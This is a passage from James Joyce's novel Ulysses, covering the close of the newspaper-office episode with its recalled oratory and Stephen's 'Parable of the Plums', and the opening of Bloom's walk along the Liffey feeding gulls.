into it, damn its soul. +Father, Son and Holy Ghost and Jakes M'Carthy. + +--We can all supply mental pabulum, Mr O'Madden Burke said. + +Stephen raised his eyes to the bold unheeding stare. + +--He wants you for the pressgang, J. J. O'Molloy said. + + + THE GREAT GALLAHER + + +--You can do it, Myles Crawford repeated, clenching his hand in emphasis. +Wait a minute. We'll paralyse Europe as Ignatius Gallaher used to say when +he was on the shaughraun, doing billiardmarking in the Clarence. Gallaher, +that was a pressman for you. That was a pen. You know how he made his +mark? I'll tell you. That was the smartest piece of journalism ever known. +That was in eightyone, sixth of May, time of the invincibles, murder in +the Phoenix park, before you were born, I suppose. I'll show you. + +He pushed past them to the files. + +--Look at here, he said turning. The NEW YORK WORLD cabled for a special. +Remember that time? + +Professor MacHugh nodded. + +--NEW YORK WORLD, the editor said, excitedly pushing back his straw hat. +Where it took place. Tim Kelly, or Kavanagh I mean. Joe Brady and the +rest of them. Where Skin-the-Goat drove the car. Whole route, see? + +--Skin-the-Goat, Mr O'Madden Burke said. Fitzharris. He has that +cabman's shelter, they say, down there at Butt bridge. Holohan told me. +You know Holohan? + +--Hop and carry one, is it? Myles Crawford said. + +--And poor Gumley is down there too, so he told me, minding stones for +the corporation. A night watchman. + +Stephen turned in surprise. + +--Gumley? he said. You don't say so? A friend of my father's, is it? + +--Never mind Gumley, Myles Crawford cried angrily. Let Gumley mind +the stones, see they don't run away. Look at here. What did Ignatius +Gallaher do? I'll tell you. Inspiration of genius. Cabled right away. Have +you WEEKLY FREEMAN of 17 March? Right. Have you got that? + +He flung back pages of the files and stuck his finger on a point. + +--Take page four, advertisement for Bransome's coffee, let us say. Have +you got that? Right. + +The telephone whirred. + + + A DISTANT VOICE + + +--I'll answer it, the professor said, going. + +--B is parkgate. Good. + +His finger leaped and struck point after point, vibrating. + +--T is viceregal lodge. C is where murder took place. K is Knockmaroon +gate. + +The loose flesh of his neck shook like a cock's wattles. An illstarched +dicky jutted up and with a rude gesture he thrust it back into his +waistcoat. + +--Hello? EVENING TELEGRAPH here ... Hello?... Who's there? ... +Yes ... Yes ... Yes. + +--F to P is the route Skin-the-Goat drove the car for an alibi, Inchicore, +Roundtown, Windy Arbour, Palmerston Park, Ranelagh. F.A.B.P. Got that? +X is Davy's publichouse in upper Leeson street. + +The professor came to the inner door. + +--Bloom is at the telephone, he said. + +--Tell him go to hell, the editor said promptly. X is Davy's publichouse, +see? + + + CLEVER, VERY + + +--Clever, Lenehan said. Very. + +--Gave it to them on a hot plate, Myles Crawford said, the whole bloody +history. + +Nightmare from which you will never awake. + +--I saw it, the editor said proudly. I was present. Dick Adams, the +besthearted bloody Corkman the Lord ever put the breath of life in, and +myself. + +Lenehan bowed to a shape of air, announcing: + +--Madam, I'm Adam. And Able was I ere I saw Elba. + +--History! Myles Crawford cried. The Old Woman of Prince's street was +there first. There was weeping and gnashing of teeth over that. Out of an +advertisement. Gregor Grey made the design for it. That gave him the leg +up. Then Paddy Hooper worked Tay Pay who took him on to the STAR. +Now he's got in with Blumenfeld. That's press. That's talent. Pyatt! He +was all their daddies! + +--The father of scare journalism, Lenehan confirmed, and the +brother-in-law of Chris Callinan. + +--Hello? ... Are you there? ... Yes, he's here still. Come across +yourself. + +--Where do you find a pressman like that now, eh? the editor cried. +He flung the pages down. + +--Clamn dever, Lenehan said to Mr O'Madden Burke. + +--Very smart, Mr O'Madden Burke said. + +Professor MacHugh came from the inner office. + +--Talking about the invincibles, he said, did you see that some hawkers +were up before the recorder ... + +--O yes, J. J. O'Molloy said eagerly. Lady Dudley was walking home +through the park to see all the trees that were blown down by that cyclone +last year and thought she'd buy a view of Dublin. And it turned out to be +a commemoration postcard of Joe Brady or Number One or Skin-the-Goat. +Right outside the viceregal lodge, imagine! + +--They're only in the hook and eye department, Myles Crawford said. +Psha! Press and the bar! Where have you a man now at the bar like those +fellows, like Whiteside, like Isaac Butt, like silvertongued O'Hagan. Eh? +Ah, bloody nonsense. Psha! Only in the halfpenny place. + +His mouth continued to twitch unspeaking in nervous curls of disdain. + +Would anyone wish that mouth for her kiss? How do you know? Why did +you write it then? + + + RHYMES AND REASONS + + +Mouth, south. Is the mouth south someway? Or the south a mouth? +Must be some. South, pout, out, shout, drouth. Rhymes: two men dressed +the same, looking the same, two by two. + + + . . . . . . . . . . . . . . . . . . .LA TUA PACE + . . . . . . . . . . . . . . .CHE PARLAR TI PIACE + . . . . .MENTREM CHE IL VENTO, COME FA, SI TACE. + + +He saw them three by three, approaching girls, in green, in rose, in +russet, entwining, PER L'AER PERSO, in mauve, in purple, QUELLA PACIFICA +ORIAFIAMMA, gold of oriflamme, DI RIMIRAR FE PIU ARDENTI. But I old men, +penitent, leadenfooted, underdarkneath the night: mouth south: tomb womb. + +--Speak up for yourself, Mr O'Madden Burke said. + + + SUFFICIENT FOR THE DAY ... + + +J. J. O'Molloy, smiling palely, took up the gage. + +--My dear Myles, he said, flinging his cigarette aside, you put a false +construction on my words. I hold no brief, as at present advised, for the +third profession qua profession but your Cork legs are running away with +you. Why not bring in Henry Grattan and Flood and Demosthenes and +Edmund Burke? Ignatius Gallaher we all know and his Chapelizod boss, +Harmsworth of the farthing press, and his American cousin of the Bowery +guttersheet not to mention PADDY KELLY'S BUDGET, PUE'S OCCURRENCES and our +watchful friend THE SKIBBEREEN EAGLE. Why bring in a master of forensic +eloquence like Whiteside? Sufficient for the day is the newspaper thereof. + + + LINKS WITH BYGONE DAYS OF YORE + + +--Grattan and Flood wrote for this very paper, the editor cried in his +face. Irish volunteers. Where are you now? Established 1763. Dr Lucas. +Who have you now like John Philpot Curran? Psha! + +--Well, J. J. O'Molloy said, Bushe K.C., for example. + +--Bushe? the editor said. Well, yes: Bushe, yes. He has a strain of it in +his blood. Kendal Bushe or I mean Seymour Bushe. + +--He would have been on the bench long ago, the professor said, only +for ... But no matter. + +J. J. O'Molloy turned to Stephen and said quietly and slowly: + +--One of the most polished periods I think I ever listened to in my life +fell from the lips of Seymour Bushe. It was in that case of fratricide, +the Childs murder case. Bushe defended him. + + + AND IN THE PORCHES OF MINE EAR DID POUR. + + +By the way how did he find that out? He died in his sleep. Or the +other story, beast with two backs? + +--What was that? the professor asked. + + + ITALIA, MAGISTRA ARTIUM + + +--He spoke on the law of evidence, J. J. O'Molloy said, of Roman justice +as contrasted with the earlier Mosaic code, the LEX TALIONIS. And he cited +the Moses of Michelangelo in the vatican. + +--Ha. + +--A few wellchosen words, Lenehan prefaced. Silence! + +Pause. J. J. O'Molloy took out his cigarettecase. + +False lull. Something quite ordinary. + +Messenger took out his matchbox thoughtfully and lit his cigar. + +I have often thought since on looking back over that strange time that +it was that small act, trivial in itself, that striking of that match, +that determined the whole aftercourse of both our lives. + + + A POLISHED PERIOD + + +J. J. O'Molloy resumed, moulding his words: + +--He said of it: THAT STONY EFFIGY IN FROZEN MUSIC, HORNED AND TERRIBLE, +OF THE HUMAN FORM DIVINE, THAT ETERNAL SYMBOL OF WISDOM AND OF PROPHECY +WHICH, IF AUGHT THAT THE IMAGINATION OR THE HAND OF SCULPTOR HAS WROUGHT +IN MARBLE OF SOULTRANSFIGURED AND OF SOULTRANSFIGURING DESERVES TO LIVE, +DESERVES TO LIVE. + +His slim hand with a wave graced echo and fall. + +--Fine! Myles Crawford said at once. + +--The divine afflatus, Mr O'Madden Burke said. + +--You like it? J. J. O'Molloy asked Stephen. + +Stephen, his blood wooed by grace of language and gesture, blushed. +He took a cigarette from the case. J. J. O'Molloy offered his case to +Myles Crawford. Lenehan lit their cigarettes as before and took his +trophy, saying: + +--Muchibus thankibus. + + + A MAN OF HIGH MORALE + + +--Professor Magennis was speaking to me about you, J. J. O'Molloy said to +Stephen. What do you think really of that hermetic crowd, the opal hush +poets: A. E. the mastermystic? That Blavatsky woman started it. She was a +nice old bag of tricks. A. E. has been telling some yankee interviewer +that you came to him in the small hours of the morning to ask him about +planes of consciousness. Magennis thinks you must have been pulling +A. E.'s leg. He is a man of the very highest morale, Magennis. + +Speaking about me. What did he say? What did he say? What did he +say about me? Don't ask. + +--No, thanks, professor MacHugh said, waving the cigarettecase aside. +Wait a moment. Let me say one thing. The finest display of oratory I ever +heard was a speech made by John F Taylor at the college historical +society. Mr Justice Fitzgibbon, the present lord justice of appeal, had +spoken and the paper under debate was an essay (new for those days), +advocating the revival of the Irish tongue. + +He turned towards Myles Crawford and said: + +--You know Gerald Fitzgibbon. Then you can imagine the style of his +discourse. + +--He is sitting with Tim Healy, J. J. O'Molloy said, rumour has it, on +the Trinity college estates commission. + +--He is sitting with a sweet thing, Myles Crawford said, in a child's +frock. Go on. Well? + +--It was the speech, mark you, the professor said, of a finished orator, +full of courteous haughtiness and pouring in chastened diction I will not +say the vials of his wrath but pouring the proud man's contumely upon the +new movement. It was then a new movement. We were weak, therefore +worthless. + +He closed his long thin lips an instant but, eager to be on, raised an +outspanned hand to his spectacles and, with trembling thumb and +ringfinger touching lightly the black rims, steadied them to a new focus. + + + IMPROMPTU + + +In ferial tone he addressed J. J. O'Molloy: + +--Taylor had come there, you must know, from a sickbed. That he had +prepared his speech I do not believe for there was not even one +shorthandwriter in the hall. His dark lean face had a growth of shaggy +beard round it. He wore a loose white silk neckcloth and altogether he +looked (though he was not) a dying man. + +His gaze turned at once but slowly from J. J. O'Molloy's towards +Stephen's face and then bent at once to the ground, seeking. His unglazed +linen collar appeared behind his bent head, soiled by his withering hair. +Still seeking, he said: + +--When Fitzgibbon's speech had ended John F Taylor rose to reply. +Briefly, as well as I can bring them to mind, his words were these. + +He raised his head firmly. His eyes bethought themselves once more. +Witless shellfish swam in the gross lenses to and fro, seeking outlet. + +He began: + +--MR CHAIRMAN, LADIES AND GENTLEMEN: GREAT WAS MY ADMIRATION IN LISTENING +TO THE REMARKS ADDRESSED TO THE YOUTH OF IRELAND A MOMENT SINCE BY MY +LEARNED FRIEND. IT SEEMED TO ME THAT I HAD BEEN TRANSPORTED INTO A COUNTRY +FAR AWAY FROM THIS COUNTRY, INTO AN AGE REMOTE FROM THIS AGE, THAT I STOOD +IN ANCIENT EGYPT AND THAT I WAS LISTENING TO THE SPEECH OF SOME HIGHPRIEST +OF THAT LAND ADDRESSED TO THE YOUTHFUL MOSES. + +His listeners held their cigarettes poised to hear, their smokes +ascending in frail stalks that flowered with his speech. And let our +crooked smokes. Noble words coming. Look out. Could you try your hand at +it yourself? + +--AND IT SEEMED TO ME THAT I HEARD THE VOICE OF THAT EGYPTIAN HIGHPRIEST +RAISED IN A TONE OF LIKE HAUGHTINESS AND LIKE PRIDE. I HEARD HIS WORDS AND +THEIR MEANING WAS REVEALED TO ME. + + + FROM THE FATHERS + + +It was revealed to me that those things are good which yet are +corrupted which neither if they were supremely good nor unless they were +good could be corrupted. Ah, curse you! That's saint Augustine. + +--WHY WILL YOU JEWS NOT ACCEPT OUR CULTURE, OUR RELIGION AND OUR +LANGUAGE? YOU ARE A TRIBE OF NOMAD HERDSMEN: WE ARE A MIGHTY PEOPLE. YOU +HAVE NO CITIES NOR NO WEALTH: OUR CITIES ARE HIVES OF HUMANITY AND OUR +GALLEYS, TRIREME AND QUADRIREME, LADEN WITH ALL MANNER MERCHANDISE FURROW +THE WATERS OF THE KNOWN GLOBE. YOU HAVE BUT EMERGED FROM PRIMITIVE +CONDITIONS: WE HAVE A LITERATURE, A PRIESTHOOD, AN AGELONG HISTORY AND A +POLITY. + +Nile. + +Child, man, effigy. + +By the Nilebank the babemaries kneel, cradle of bulrushes: a man +supple in combat: stonehorned, stonebearded, heart of stone. + +--YOU PRAY TO A LOCAL AND OBSCURE IDOL: OUR TEMPLES, MAJESTIC AND +MYSTERIOUS, ARE THE ABODES OF ISIS AND OSIRIS, OF HORUS AND AMMON RA. +YOURS SERFDOM, AWE AND HUMBLENESS: OURS THUNDER AND THE SEAS. ISRAEL IS +WEAK AND FEW ARE HER CHILDREN: EGYPT IS AN HOST AND TERRIBLE ARE HER ARMS. + VAGRANTS AND DAYLABOURERS ARE YOU CALLED: THE WORLD TREMBLES AT OUR NAME. + +A dumb belch of hunger cleft his speech. He lifted his voice above it +boldly: + +--BUT, LADIES AND GENTLEMEN, HAD THE YOUTHFUL MOSES LISTENED TO AND +ACCEPTED THAT VIEW OF LIFE, HAD HE BOWED HIS HEAD AND BOWED HIS WILL AND +BOWED HIS SPIRIT BEFORE THAT ARROGANT ADMONITION HE WOULD NEVER HAVE +BROUGHT THE CHOSEN PEOPLE OUT OF THEIR HOUSE OF BONDAGE, NOR FOLLOWED THE +PILLAR OF THE CLOUD BY DAY. HE WOULD NEVER HAVE SPOKEN WITH THE ETERNAL +AMID LIGHTNINGS ON SINAI'S MOUNTAINTOP NOR EVER HAVE COME DOWN WITH THE +LIGHT OF INSPIRATION SHINING IN HIS COUNTENANCE AND BEARING IN HIS ARMS +THE TABLES OF THE LAW, GRAVEN IN THE LANGUAGE OF THE OUTLAW. + +He ceased and looked at them, enjoying a silence. + + + OMINOUS--FOR HIM! + + +J. J. O'Molloy said not without regret: + +--And yet he died without having entered the land of promise. + +--A sudden--at--the--moment--though--from--lingering--illness-- +often--previously--expectorated--demise, Lenehan added. And with a +great future behind him. + +The troop of bare feet was heard rushing along the hallway and +pattering up the staircase. + +--That is oratory, the professor said uncontradicted. Gone with the wind. +Hosts at Mullaghmast and Tara of the kings. Miles of ears of porches. +The tribune's words, howled and scattered to the four winds. A people +sheltered within his voice. Dead noise. Akasic records of all that ever +anywhere wherever was. Love and laud him: me no more. + +I have money. + +--Gentlemen, Stephen said. As the next motion on the agenda paper may I +suggest that the house do now adjourn? + +--You take my breath away. It is not perchance a French compliment? Mr +O'Madden Burke asked. 'Tis the hour, methinks, when the winejug, +metaphorically speaking, is most grateful in Ye ancient hostelry. + +--That it be and hereby is resolutely resolved. All that are in favour +say ay, Lenehan announced. The contrary no. I declare it carried. To which +particular boosing shed? ... My casting vote is: Mooney's! + +He led the way, admonishing: + +--We will sternly refuse to partake of strong waters, will we not? Yes, +we will not. By no manner of means. + +Mr O'Madden Burke, following close, said with an ally's lunge of his +umbrella: + +--Lay on, Macduff! + +--Chip of the old block! the editor cried, clapping Stephen on the +shoulder. Let us go. Where are those blasted keys? + +He fumbled in his pocket pulling out the crushed typesheets. + +--Foot and mouth. I know. That'll be all right. That'll go in. Where are +they? That's all right. + +He thrust the sheets back and went into the inner office. + + + LET US HOPE + + +J. J. O'Molloy, about to follow him in, said quietly to Stephen: + +--I hope you will live to see it published. Myles, one moment. + +He went into the inner office, closing the door behind him. + +--Come along, Stephen, the professor said. That is fine, isn't it? It has +the prophetic vision. FUIT ILIUM! The sack of windy Troy. Kingdoms of this +world. The masters of the Mediterranean are fellaheen today. + +The first newsboy came pattering down the stairs at their heels and +rushed out into the street, yelling: + +--Racing special! + +Dublin. I have much, much to learn. + +They turned to the left along Abbey street. + +--I have a vision too, Stephen said. + +--Yes? the professor said, skipping to get into step. Crawford will +follow. + +Another newsboy shot past them, yelling as he ran: + +--Racing special! + + + DEAR DIRTY DUBLIN + + +Dubliners. + +--Two Dublin vestals, Stephen said, elderly and pious, have lived fifty +and fiftythree years in Fumbally's lane. + +--Where is that? the professor asked. + +--Off Blackpitts, Stephen said. + +Damp night reeking of hungry dough. Against the wall. Face +glistering tallow under her fustian shawl. Frantic hearts. Akasic records. +Quicker, darlint! + +On now. Dare it. Let there be life. + +--They want to see the views of Dublin from the top of Nelson's pillar. +They save up three and tenpence in a red tin letterbox moneybox. They +shake out the threepenny bits and sixpences and coax out the pennies with +the blade of a knife. Two and three in silver and one and seven in +coppers. They put on their bonnets and best clothes and take their +umbrellas for fear it may come on to rain. + +--Wise virgins, professor MacHugh said. + + + LIFE ON THE RAW + + +--They buy one and fourpenceworth of brawn and four slices of panloaf at +the north city diningrooms in Marlborough street from Miss Kate Collins, +proprietress ... They purchase four and twenty ripe plums from a girl at +the foot of Nelson's pillar to take off the thirst of the brawn. They give +two threepenny bits to the gentleman at the turnstile and begin to waddle +slowly up the winding staircase, grunting, encouraging each other, afraid +of the dark, panting, one asking the other have you the brawn, praising +God and the Blessed Virgin, threatening to come down, peeping at the +airslits. Glory be to God. They had no idea it was that high. + +Their names are Anne Kearns and Florence MacCabe. Anne Kearns +has the lumbago for which she rubs on Lourdes water, given her by a lady +who got a bottleful from a passionist father. Florence MacCabe takes a +crubeen and a bottle of double X for supper every Saturday. + +--Antithesis, the professor said nodding twice. Vestal virgins. I can see +them. What's keeping our friend? + +He turned. + +A bevy of scampering newsboys rushed down the steps, scattering in +all directions, yelling, their white papers fluttering. Hard after them +Myles Crawford appeared on the steps, his hat aureoling his scarlet face, +talking with J. J. O'Molloy. + +--Come along, the professor cried, waving his arm. + +He set off again to walk by Stephen's side. + + + RETURN OF BLOOM + + +--Yes, he said. I see them. + +Mr Bloom, breathless, caught in a whirl of wild newsboys near the +offices of the IRISH CATHOLIC AND DUBLIN PENNY JOURNAL, called: + +--Mr Crawford! A moment! + +--TELEGRAPH! Racing special! + +--What is it? Myles Crawford said, falling back a pace. + +A newsboy cried in Mr Bloom's face: + +--Terrible tragedy in Rathmines! A child bit by a bellows! + + + + INTERVIEW WITH THE EDITOR + + +--Just this ad, Mr Bloom said, pushing through towards the steps, +puffing, and taking the cutting from his pocket. I spoke with Mr Keyes +just now. He'll give a renewal for two months, he says. After he'll see. +But he wants a par to call attention in the TELEGRAPH too, the Saturday +pink. And he wants it copied if it's not too late I told councillor +Nannetti from the KILKENNY PEOPLE. I can have access to it in the national +library. House of keys, don't you see? His name is Keyes. It's a play on +the name. But he practically promised he'd give the renewal. But he wants +just a little puff. What will I tell him, Mr Crawford? + + + + K.M.A. + + +--Will you tell him he can kiss my arse? Myles Crawford said throwing out +his arm for emphasis. Tell him that straight from the stable. + +A bit nervy. Look out for squalls. All off for a drink. Arm in arm. +Lenehan's yachting cap on the cadge beyond. Usual blarney. Wonder is +that young Dedalus the moving spirit. Has a good pair of boots on him +today. Last time I saw him he had his heels on view. Been walking in muck +somewhere. Careless chap. What was he doing in Irishtown? + +--Well, Mr Bloom said, his eyes returning, if I can get the design I +suppose it's worth a short par. He'd give the ad, I think. I'll tell +him ... + + + K.M.R.I.A. + + +--He can kiss my royal Irish arse, Myles Crawford cried loudly over his +shoulder. Any time he likes, tell him. + +While Mr Bloom stood weighing the point and about to smile he strode +on jerkily. + + + RAISING THE WIND + + +--NULLA BONA, Jack, he said, raising his hand to his chin. I'm up to +here. I've been through the hoop myself. I was looking for a fellow to +back a bill for me no later than last week. Sorry, Jack. You must take the +will for the deed. With a heart and a half if I could raise the wind +anyhow. + +J. J. O'Molloy pulled a long face and walked on silently. They caught +up on the others and walked abreast. + +--When they have eaten the brawn and the bread and wiped their twenty +fingers in the paper the bread was wrapped in they go nearer to the +railings. + +--Something for you, the professor explained to Myles Crawford. Two old +Dublin women on the top of Nelson's pillar. + + + SOME COLUMN!-- + THAT'S WHAT WADDLER ONE SAID + + +--That's new, Myles Crawford said. That's copy. Out for the waxies +Dargle. Two old trickies, what? + +--But they are afraid the pillar will fall, Stephen went on. They see the +roofs and argue about where the different churches are: Rathmines' blue +dome, Adam and Eve's, saint Laurence O'Toole's. But it makes them giddy to +look so they pull up their skirts ... + + + THOSE SLIGHTLY RAMBUNCTIOUS FEMALES + + +--Easy all, Myles Crawford said. No poetic licence. We're in the +archdiocese here. + +--And settle down on their striped petticoats, peering up at the statue +of the onehandled adulterer. + +--Onehandled adulterer! the professor cried. I like that. I see the idea. +I see what you mean. + + + DAMES DONATE DUBLIN'S CITS SPEEDPILLS + VELOCITOUS AEROLITHS, BELIEF + + +--It gives them a crick in their necks, Stephen said, and they are too +tired to look up or down or to speak. They put the bag of plums between +them and eat the plums out of it, one after another, wiping off with their +handkerchiefs the plumjuice that dribbles out of their mouths and spitting +the plumstones slowly out between the railings. + +He gave a sudden loud young laugh as a close. Lenehan and Mr O'Madden +Burke, hearing, turned, beckoned and led on across towards Mooney's. + +--Finished? Myles Crawford said. So long as they do no worse. + + + SOPHIST WALLOPS HAUGHTY HELEN SQUARE ON + PROBOSCIS. SPARTANS GNASH MOLARS. ITHACANS + VOW PEN IS CHAMP. + + +--You remind me of Antisthenes, the professor said, a disciple of +Gorgias, the sophist. It is said of him that none could tell if he were +bitterer against others or against himself. He was the son of a noble and +a bondwoman. And he wrote a book in which he took away the palm of beauty +from Argive Helen and handed it to poor Penelope. + +Poor Penelope. Penelope Rich. + +They made ready to cross O'Connell street. + + + HELLO THERE, CENTRAL! + + +At various points along the eight lines tramcars with motionless +trolleys stood in their tracks, bound for or from Rathmines, Rathfarnham, +Blackrock, Kingstown and Dalkey, Sandymount Green, Ringsend and +Sandymount Tower, Donnybrook, Palmerston Park and Upper Rathmines, +all still, becalmed in short circuit. Hackney cars, cabs, delivery +waggons, mailvans, private broughams, aerated mineral water floats with +rattling crates of bottles, rattled, rolled, horsedrawn, rapidly. + + + + WHAT?--AND LIKEWISE--WHERE? + + +--But what do you call it? Myles Crawford asked. Where did they get the +plums? + + + VIRGILIAN, SAYS PEDAGOGUE. + SOPHOMORE PLUMPS FOR OLD MAN MOSES. + + +--Call it, wait, the professor said, opening his long lips wide to +reflect. Call it, let me see. Call it: DEUS NOBIS HAEC OTIA FECIT. + +--No, Stephen said. I call it A PISGAH SIGHT OF PALESTINE OR THE PARABLE +OF THE PLUMS. + +--I see, the professor said. + +He laughed richly. + +--I see, he said again with new pleasure. Moses and the promised land. We +gave him that idea, he added to J. J. O'Molloy. + + + HORATIO IS CYNOSURE THIS FAIR JUNE DAY + + +J. J. O'Molloy sent a weary sidelong glance towards the statue and +held his peace. + +--I see, the professor said. + +He halted on sir John Gray's pavement island and peered aloft at Nelson +through the meshes of his wry smile. + + + DIMINISHED DIGITS PROVE TOO TITILLATING + FOR FRISKY FRUMPS. ANNE WIMBLES, FLO + WANGLES--YET CAN YOU BLAME THEM? + + +--Onehandled adulterer, he said smiling grimly. That tickles me, I must +say. + +--Tickled the old ones too, Myles Crawford said, if the God Almighty's +truth was known. + + + * * * * * * * + + +Pineapple rock, lemon platt, butter scotch. A sugarsticky girl +shovelling scoopfuls of creams for a christian brother. Some school treat. +Bad for their tummies. Lozenge and comfit manufacturer to His Majesty +the King. God. Save. Our. Sitting on his throne sucking red jujubes white. + +A sombre Y.M.C.A. young man, watchful among the warm sweet +fumes of Graham Lemon's, placed a throwaway in a hand of Mr Bloom. + +Heart to heart talks. + +Bloo ... Me? No. + +Blood of the Lamb. + +His slow feet walked him riverward, reading. Are you saved? All are +washed in the blood of the lamb. God wants blood victim. Birth, hymen, +martyr, war, foundation of a building, sacrifice, kidney burntoffering, +druids' altars. Elijah is coming. Dr John Alexander Dowie restorer of the +church in Zion is coming. + + + IS COMING! IS COMING!! IS COMING!!! + ALL HEARTILY WELCOME. + + +Paying game. Torry and Alexander last year. Polygamy. His wife will +put the stopper on that. Where was that ad some Birmingham firm the +luminous crucifix. Our Saviour. Wake up in the dead of night and see him +on the wall, hanging. Pepper's ghost idea. Iron nails ran in. + +Phosphorus it must be done with. If you leave a bit of codfish for +instance. I could see the bluey silver over it. Night I went down to the +pantry in the kitchen. Don't like all the smells in it waiting to rush +out. What was it she wanted? The Malaga raisins. Thinking of Spain. Before +Rudy was born. The phosphorescence, that bluey greeny. Very good for the +brain. + +From Butler's monument house corner he glanced along Bachelor's +walk. Dedalus' daughter there still outside Dillon's auctionrooms. Must be +selling off some old furniture. Knew her eyes at once from the father. +Lobbing about waiting for him. Home always breaks up when the mother +goes. Fifteen children he had. Birth every year almost. That's in their +theology or the priest won't give the poor woman the confession, the +absolution. Increase and multiply. Did you ever hear such an idea? Eat you +out of house and home. No families themselves to feed. Living on the fat +of the land. Their butteries and larders. I'd like to see them do the +black fast Yom Kippur. Crossbuns. One meal and a collation for fear he'd +collapse on the altar. A housekeeper of one of those fellows if you could +pick it out of her. Never pick it out of her. Like getting l.s.d. out of +him. Does himself well. No guests. All for number one. Watching his water. +Bring your own bread and butter. His reverence: mum's the word. + +Good Lord, that poor child's dress is in flitters. Underfed she looks +too. Potatoes and marge, marge and potatoes. It's after they feel it. +Proof of the pudding. Undermines the constitution. + +As he set foot on O'Connell bridge a puffball of smoke plumed up +from the parapet. Brewery barge with export stout. England. Sea air sours +it, I heard. Be interesting some day get a pass through Hancock to see the +brewery. Regular world in itself. Vats of porter wonderful. Rats get in +too. Drink themselves bloated as big as a collie floating. Dead drunk on +the porter. Drink till they puke again like christians. Imagine drinking +that! Rats: vats. Well, of course, if we knew all the things. + +Looking down he saw flapping strongly, wheeling between the gaunt +quaywalls, gulls. Rough weather outside. If I threw myself down? +Reuben J's son must have swallowed a good bellyful of that sewage. One and +eightpence too much. Hhhhm. It's the droll way he comes out with the +things. Knows how to tell a story too. + +They wheeled lower. Looking for grub. Wait. + +He threw down among them a crumpled paper ball. Elijah thirtytwo +feet per sec is com. Not a bit. The ball bobbed unheeded on the wake of +swells, floated under by the bridgepiers. Not such damn fools. Also the +day I threw that stale cake out of the Erin's King picked it up in the +wake fifty yards astern. Live by their wits. They wheeled, flapping. + + THE HUNGRY FAMISHED GULL + FLAPS O'ER THE WATERS DULL. + + +That is how poets write, the similar sounds. But then Shakespeare has +no rhymes: blank verse. The flow of the language it is. The thoughts. +Solemn. + + + HAMLET, I AM THY FATHER'S SPIRIT + DOOMED FOR A CERTAIN TIME TO WALK THE EARTH. + + +--Two apples a penny! Two for a penny! + +His gaze passed over the glazed apples serried on her stand. +Australians they must be this time of year. Shiny peels: polishes them up +with a rag or a handkerchief. + +Wait. Those poor birds. + +He halted again and bought from the old applewoman two Banbury +cakes for a penny and broke the brittle paste and threw its fragments down +into the Liffey. See that? The gulls swooped silently, two, then all from +their heights, pouncing on prey. Gone. Every morsel. + +Aware of their greed and cunning he shook the powdery crumb from his +hands. They never expected that. Manna. Live on fish, fishy flesh +they have, all seabirds, gulls, seagoose. Swans from Anna Liffey swim +down here sometimes to preen themselves. No accounting for tastes. +Wonder what kind is swanmeat. Robinson Crusoe had to live on them. + +They wheeled flapping weakly. I'm not going to throw any more. +Penny quite enough. Lot of thanks I get. Not even a caw. They spread foot +and mouth disease too. If you cram a turkey say on chestnutmeal it tastes +like that. Eat pig like pig. But then why is it that saltwater fish are +not salty? How is that? + +His eyes sought answer from the river and saw a rowboat rock at anchor +on the treacly swells lazily its plastered board. + +KINO'S +11/- +TROUSERS + +Good idea that. Wonder if he pays rent to the corporation. How can +you own water really? It's always flowing in a stream, never the same, +which in the stream of life we trace. Because life is a stream. All kinds +of places are good for ads. That quack doctor for the clap used to be +stuck up in all the greenhouses. Never see it now. Strictly confidential. +Dr Hy Franks. Didn't cost him a red like Maginni the dancing master self +advertisement. Got fellows to stick them up or stick them up himself for +that matter on the q. t. running in to loosen a button. Flybynight. Just +the place too. POST NO BILLS. POST 110 PILLS. Some chap with a dose +burning him. + +If he ...? + +O! + +Eh? + +No ... No. + +No, no. I don't believe it. He wouldn't surely? + +No, no. + +Mr Bloom moved forward, raising his troubled eyes. Think no more about +that. After one. Timeball on the ballastoffice is down. Dunsink time. +Fascinating little book that is of sir Robert Ball's. Parallax. I never +exactly understood. There's a priest. Could ask him. Par it's Greek: +parallel, parallax. Met him pike hoses she called it till I told her about +the transmigration. O rocks! + +Mr Bloom smiled O rocks at two windows of the ballastoffice. She's +right after all. Only big words for ordinary things on account of the +sound. She's not exactly witty. Can be rude too. Blurt out what I was +thinking. Still, I don't know. She used to say Ben Dollard had a base +barreltone voice. He has legs like barrels and you'd think he was singing +into a barrel. Now, isn't that wit. They used to call him big Ben. Not +half as witty as calling him base barreltone. Appetite like an albatross. +Get outside of a baron of beef. Powerful man he was at stowing away number +one Bass. Barrel of Bass. See? It all works out. + + + A procession of whitesmocked sandwichmen marched slowly towards +him along the gutter, scarlet sashes across their boards. Bargains. Like +that priest they are this morning: we have sinned: we have suffered. He +read the scarlet letters on their five tall white hats: H. E. L. Y. S. +Wisdom Hely's. Y lagging behind drew a chunk of bread from under his +foreboard, crammed it into his mouth and munched as he walked. Our staple +food. Three bob a day, walking along the gutters, street after street. +Just keep skin and bone together, bread and skilly. They are not Boyl: +no, M Glade's men. Doesn't bring in any business either. I suggested +to him about a transparent showcart with two smart girls sitting +inside writing letters, copybooks, envelopes, blottingpaper. I bet that +would have caught on. Smart girls writing something catch the eye at once. +Everyone dying to know what she's writing. Get twenty of them round you +if you stare at nothing. Have a finger in the pie. Women too. Curiosity. +Pillar of salt. Wouldn't have it of course because he didn't think +of it himself first. Or the inkbottle I suggested with a false stain +of black celluloid. His ideas for ads like Plumtree's potted under +the obituaries, cold meat department. You can't lick 'em. What? Our +envelopes. Hello, Jones, where are you going? Can't stop, Robinson, +I am hastening to purchase the only reliable inkeraser KANSELL, +sold by Hely's Ltd, 85 Dame street. Well out of that ruck I am. +Devil of a job it was collecting accounts of those convents. Tranquilla +convent. That was a nice nun there, really sweet face. Wimple suited her +small head. Sister? Sister? I am sure she was crossed in love by her eyes. +Very hard to bargain with that sort of a woman. I disturbed her at her +devotions that morning. But glad to communicate with the outside world. +Our great day, she said. Feast of Our Lady of Mount Carmel. Sweet name +too: caramel. She knew I, I think she knew by the way she. If she had +married she would have changed. I suppose they really were short of +money. Fried everything in the best butter all the same. No lard for them. +My heart's broke eating dripping. They like buttering themselves in and +out. Molly tasting it, her veil up. Sister? Pat Claffey, the pawnbroker's +daughter. It was a nun they say invented barbed wire. + +He crossed Westmoreland street when apostrophe S had plodded by. +Rover cycleshop. Those races are on today. How long ago is that? Year +Phil Gilligan died. We were in Lombard street west. Wait: was in Thom's. +Got the job in Wisdom Hely's year we married. Six years. Ten years ago: +ninetyfour he died yes that's right the big fire at Arnott's. Val Dillon +was lord mayor. The Glencree dinner. Alderman Robert O'Reilly emptying the +port into his soup before the flag fell. Bobbob lapping it 